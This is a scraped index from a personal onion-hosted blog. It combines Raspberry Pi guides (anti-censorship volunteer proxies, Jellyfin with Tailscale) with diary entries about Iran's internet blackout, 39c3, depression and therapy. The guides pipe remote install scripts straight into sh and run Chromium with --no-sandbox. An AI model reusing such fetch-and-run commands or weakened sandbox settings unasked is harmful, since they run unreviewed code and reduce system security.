iVH\u0026#43;ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy\u0026#43;7/id2yz3eXYWn2xKMvp SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx kOvBdjQf4wDqUuNv7NKA\u0026#43;OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/ Gs8K9nADnHhAjWgwTq3D\u0026#43;2qRWcF0tlLSTmKg\u0026#43;95yaYi0XWWMFGTgCv2odPsgFlIS 3FiLJC3rV73prsk\u0026#43;7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v TJ2\u0026#43;amlKyT\u0026#43;Nq9wGrAez\u0026#43;dTvR0FKuEvA5OO693Aibv/iwOX6UPU= =2UUg -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc gpg --verify pi_service_touchup.md.asc pi_service_touchup.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t “move Nextcloud to the cloud”.\u003cbr\u003e\nI moved the \u003cstrong\u003efront door\u003c/strong\u003e to a VPS… and kept the house on my Raspberry Pi. 😄\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThis post documents the setup I ended up with:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA public \u003cstrong\u003eVPS\u003c/strong\u003e (host: \u003ccode\u003efunbox\u003c/code\u003e) running \u003cstrong\u003eNginx\u003c/strong\u003e + \u003cstrong\u003eLet’s Encrypt\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA private \u003cstrong\u003eRaspberry Pi\u003c/strong\u003e (host: \u003ccode\u003eiot-hub\u003c/code\u003e) running Docker services (\u003cstrong\u003eNextcloud\u003c/strong\u003e, \u003cstrong\u003eJellyfin\u003c/strong\u003e, …)\u003c/li\u003e\n\u003cli\u003eA private backhaul using \u003cstrong\u003eTailscale\u003c/strong\u003e (the \u003ccode\u003e100.x.y.z\u003c/code\u003e network)\u003c/li\u003e\n\u003cli\u003eA correct Nextcloud reverse-proxy configuration (\u003cstrong\u003etrusted_domains\u003c/strong\u003e, \u003cstrong\u003etrusted_proxies\u003c/strong\u003e, and overwrite values)\u003c/li\u003e\n\u003cli\u003eA pragmatic security layer for media: \u003cstrong\u003eBasic Auth at Nginx for Jellyfin\u003c/strong\u003e\u003cbr\u003e\n(in addition to Jellyfin’s own login)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m writing this as a “future me” note and a “copy-paste friendly” guide.\u003c/p\u003e","title":"Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin"},{"content":"Ever since the latest Internet/communication blackout in Iran, I\u0026rsquo;ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven\u0026rsquo;t opened it again.\nAfter getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.\nOne important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.\nRunning Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.\nSo I turned my Pis into helpers.\nThis post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:\nPsiphon Conduit – to help Psiphon users automatically Tor Snowflake (standalone proxy) – to help Tor users automatically Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.\nThe philosophy: don’t be a public server, be a volunteer node A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.\nInstead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.\nThat’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.\nWhat you need (one time) This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.\nFirst, install Docker (because containers are a gift):\nsudo apt update sudo apt install -y curl curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER newgrp docker Now make yourself a clean playground under /srv:\nsudo mkdir -p /srv/{conduit,snowflake,lantern} sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.\nConduit: quietly helping Psiphon users (Docker) Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.\nThe important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.\nThe file: /srv/conduit/docker-compose.yml Create it:\ncd /srv/conduit vim docker-compose.yml Paste this:\nservices: conduit: image: ghcr.io/ssmirr/conduit/conduit:latest container_name: conduit restart: unless-stopped # Keep keys and state across restarts volumes: - ./data:/app/data # Optional: if you want a different bandwidth limit / max clients, # you can pass CLI flags here (these are examples). # command: [\u0026#34;conduit\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;4\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;8\u0026#34;] Then bring it up:\ndocker compose up -d docker logs -f conduit When it’s working, you’ll see things like:\n[OK] Connected to Psiphon network periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) If you ever want to stop it:\ndocker stop conduit Or “disable but keep everything” (recommended):\ndocker compose down Or “delete it from orbit” (not recommended unless you enjoy rebuilding):\ndocker rm -f conduit Snowflake: Tor, but even quieter (Docker Compose) Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.\nThe file: /srv/snowflake/docker-compose.yml You can download the official file exactly like this:\ncd /srv/snowflake wget -O docker-compose.yml \\ \u0026#34;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads\u0026#34; If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:\nservices: snowflake-proxy: network_mode: host image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest container_name: snowflake-proxy restart: unless-stopped # For a full list of Snowflake proxy args, see the upstream docs. # Example if you ever need it: # command: [\u0026#34;-ephemeral-ports-range\u0026#34;, \u0026#34;30000:60000\u0026#34;] watchtower: image: containrrr/watchtower container_name: watchtower restart: unless-stopped volumes: - /var/run/docker.sock:/var/run/docker.sock command: snowflake-proxy Start it (with auto updates):\ndocker compose up -d docker logs -f snowflake-proxy If you see:\nProxy starting NAT type: restricted …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.\nIf you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:\ndocker rm -f snowflake-proxy docker compose up -d Lantern Unbounded: a browser that helps people (systemd + Xvfb) Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.\nSo we cheat — politely.\nWe run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.\nInstall what we need sudo apt update sudo apt install -y xvfb sudo apt install -y chromium-browser || sudo apt install -y chromium Fix the X11 socket dir permissions (the annoying but essential part) If you don’t do this, Xvfb may throw:\n_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.\nFix it once:\nsudo chmod 1777 /tmp sudo mkdir -p /tmp/.X11-unix sudo chown root:root /tmp/.X11-unix sudo chmod 1777 /tmp/.X11-unix The file: /etc/systemd/system/unbounded.service Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.\nCreate the service:\nsudo vim /etc/systemd/system/unbounded.service Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):\n[Unit] Description=Lantern Unbounded (Xvfb + Chromium) After=network-online.target Wants=network-online.target [Service] User=YOUR_USER Environment=DISPLAY=:99 Environment=XDG_RUNTIME_DIR=/run/user/%U ExecStart=/usr/bin/bash -lc \u0026#39;\\ /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac \u0026amp; \\ sleep 1; \\ $(command -v chromium || command -v chromium-browser) \\ --no-first-run \\ --disable-breakpad \\ --disable-features=TranslateUI \\ --autoplay-policy=no-user-gesture-required \\ --use-fake-ui-for-media-stream \\ --disable-gpu \\ --no-sandbox \\ --app=https://unbounded.lantern.io/ \\ --kiosk \\ --window-size=1280,720 \\ --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \\ --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \\ \u0026#39; Restart=always RestartSec=5 KillMode=mixed [Install] WantedBy=multi-user.target Enable and start:\nsudo systemctl daemon-reload sudo systemctl enable --now unbounded.service systemctl status unbounded.service --no-pager If you see Active: active (running), you’ve won.\n“It runs headless-ish, but how do I know it’s alive?” The simplest “is it on?” checks:\nsystemctl status unbounded.service --no-pager journalctl -u unbounded.service -f And the “is it actually doing network things?” check:\nsudo ss -tunap | egrep \u0026#39;chrome|chromium|:443|:3478\u0026#39; || true If you ever want to stop it:\nsudo systemctl stop unbounded.service If you want it not to start on boot:\nsudo systemctl disable unbounded.service A note on safety, legality, and expectations None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.\nThe good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.\nThat’s the part I like.\nThe quiet satisfaction of it all There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.\nNo dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.\nAnd honestly? That’s enough.\nSome rants I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we\u0026rsquo;ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom\u0026rsquo;s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(\nThis is super sad and frustrating. I\u0026rsquo;ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I\u0026rsquo;ve been dealing with this situation. It\u0026rsquo;s just annoying. Let\u0026rsquo;s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. 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I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven\u0026rsquo;t opened it again.\u003c/p\u003e","title":"Blackout"},{"content":"I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.\nAfter this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend\u0026rsquo;s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We\u0026rsquo;ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I\u0026rsquo;m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..\nBonus: Remember I said we went to a Sushi place? I\u0026rsquo;ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I\u0026rsquo;m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that \u0026ldquo;we were eating across the hall, and I noticed how pretty she is!\u0026rdquo;. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn\u0026rsquo;t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. 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I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :)\nNot only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.\u003c/p\u003e","title":"2025 Highlight"},{"content":"I have a strong hunch that I made it. I beat my MDD. I\u0026rsquo;m finally happy! I\u0026rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.\nCurrently I\u0026rsquo;m sitting in Hamburg\u0026rsquo;s CCH, being an Angel in disguise. ;D\nI could not land myself any shifts before 1600, so I have to sit around and wait, and blog.\nI also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he\u0026rsquo;s been wanting to talk to me about\u0026hellip; well\u0026hellip; something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.\nHe kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to \u0026ldquo;give time to time\u0026rdquo;. So\u0026hellip; yea. Idk. She will probably talk to me about this as time goes on. I don\u0026rsquo;t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.\nAnother funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.\nAs time goes by, and as I become more experienced, I feel more relieved.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSr7aBAAgOSc2FBGLiHK\u0026#43;6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt\u0026#43;DKmZnHJlz siRwHqE/\u0026#43;peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn y4CzVsjVClxVCyUf4b361F07\u0026#43;XuGv3kmKOnWTV3suLZykpWpxiQTRdq\u0026#43;jI7DBZKK ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu\u0026#43;sw0\u0026#43;EQoc0 riFVnb2\u0026#43;TK1OSkAu7w7HFLcUY0gGZ4\u0026#43;lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0 kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/\u0026#43; KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi\u0026#43;w\u0026#43;mYWRzzFq0jnQsBYYu3QmjuhU\u0026#43;V hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U\u0026#43;BVHRT//Y2w6Xnd1OJi terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD\u0026#43;ZBtAs12NdekX/V4= =xRmw -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/seeing_the_light.md.asc gpg --verify seeing_the_light.md.asc seeing_the_light.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/seeing_the_light/","summary":"\u003cp\u003eI have a strong hunch that I made it. I beat my MDD. I\u0026rsquo;m finally happy! I\u0026rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.\u003c/p\u003e\n\u003cp\u003eCurrently I\u0026rsquo;m sitting in Hamburg\u0026rsquo;s CCH, being an Angel in disguise. ;D\u003c/p\u003e\n\u003cp\u003eI could not land myself any shifts before 1600, so I have to sit around and wait, and blog.\u003c/p\u003e","title":"Seeing the \"Light\""},{"content":"Ok. Let me tell you the why first. So\u0026hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn\u0026rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It\u0026rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself \u0026ldquo;let\u0026rsquo;t message one of my two best friends\u0026rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.\nI wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.\nThis post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.\nThe idea Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.\nThe trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.\nWhat you need My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.\nStep one: choose a home for your stuff Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.\nOn the Pi, I created a little directory neighborhood under /srv:\nsudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin sudo chown -R $USER:$USER /srv If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.\nStep two: install Docker and start thinking in containers I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.\nA typical install flow on Raspberry Pi OS looks like this:\nsudo apt update sudo apt install -y ca-certificates curl curl -fsSL https://get.docker.com | sh sudo usermod -aG docker $USER newgrp docker docker --version docker compose version Now for the part that feels like summoning a friendly daemon.\nStep three: Jellyfin, running happily in Docker In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.\nHere’s a simple docker-compose.yml that works well on a Pi:\nservices: jellyfin: image: jellyfin/jellyfin:latest container_name: jellyfin user: \u0026#34;1000:1000\u0026#34; ports: - \u0026#34;8096:8096/tcp\u0026#34; - \u0026#34;7359:7359/udp\u0026#34; volumes: - /srv/jellyfin/config:/config - /srv/jellyfin/cache:/cache - /srv/media:/media restart: unless-stopped If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.\nI started Jellyfin like this:\ncd /srv/compose/jellyfin docker compose up -d After that, Jellyfin lived at http://\u0026lt;pi-lan-ip\u0026gt;:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.\nStep four: Tailscale, the magic door for friends Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.\ncurl -fsSL https://tailscale.com/install.sh | sh sudo tailscale up tailscale ip -4 That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:\nhttp://100.x.y.z:8096 Or if you enabled magicDNS:\nhttp://rpi:8096 The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.\nIf you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”\nStep five: create a Jellyfin user for your friend Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.\nIf typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.\nStep six: the secret to a smooth Pi movie night is Direct Play A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.\nFor “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.\nThe fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:\nffmpeg -i \u0026#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv\u0026#34; -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart \u0026#34;500.Days.of.Summer.2009.1080p.mp4\u0026#34; Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:\nffmpeg -i \u0026#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv\u0026#34; -map 0:s:0 \u0026#34;500.Days.of.Summer.2009.1080p.srt\u0026#34; Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.\nStep seven: SyncPlay, aka “we pressed play together” Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.\nStarting on microSD, graduating to SSD later Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.\nThe reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.\nWhere this goes next Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”\nFor now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.\nHappy streaming.\nThe movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I\u0026rsquo;ll write a review for it later on. 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Let me tell you the why first. So\u0026hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn\u0026rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It\u0026rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself \u0026ldquo;let\u0026rsquo;t message one of my two best friends\u0026rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.\u003c/p\u003e","title":"Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4"},{"content":"This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I\u0026rsquo;m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it\u0026rsquo;s draining me. Draining me of happiness, being in pursuit of happyness.\nIdk what is wrong with me. Idk why I can\u0026rsquo;t let go. I don\u0026rsquo;t know why I need so much closure. Idk. I really don\u0026rsquo;t. What I know is that I\u0026rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.\nThis \u0026ldquo;others\u0026rdquo; in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.\nIdk what to do. I feel like I\u0026rsquo;m stuck in this life that I don\u0026rsquo;t like, with so much that I love. Does this even make sense? Idk. I know I\u0026rsquo;m full of love, and I\u0026rsquo;m willing to give it to someone.\nFew things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don\u0026rsquo;t know if I\u0026rsquo;m lying to myself or not. Second, I know my therapist is worried for me. For how easy I can fall in the wrong people\u0026rsquo;s hand, and how badly I could get hurt.\nHe has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. 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Idk why I can\u0026rsquo;t let go. I don\u0026rsquo;t know why I need so much closure. Idk. I really don\u0026rsquo;t.\nWhat I know is that I\u0026rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life.\nSomeone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.\u003c/p\u003e","title":"How am I doing?"},{"content":"I was watching this video the other day. It\u0026rsquo;s an interesting video imo. This is something I\u0026rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?\nFunnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other\u0026rsquo;s respect. Naturally that evolved into me becoming a people please. A so called \u0026ldquo;nice person\u0026rdquo;. I\u0026rsquo;ve even been made fun of with those words.\nAll of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I\u0026rsquo;m broken. When people act cold with me, I assume they don\u0026rsquo;t like me. Then I want to fix things. Then I become annoying. I look like an \u0026ldquo;anxiously attached\u0026rdquo; person.\nBut then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It\u0026rsquo;s sad, and it\u0026rsquo;s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.\nSo\u0026hellip; I made a decision. To stay away from everyone. To make distance.\nThe doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don\u0026rsquo;t want to lose. But it\u0026rsquo;s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?\nThe part I\u0026rsquo;m making mistake in is that everyone thinks something bad has happened. And they \u0026ldquo;probably\u0026rdquo; expect me to talk to them about it. Now this is the part I had to work on. The \u0026ldquo;setting boundry\u0026rdquo; part. I 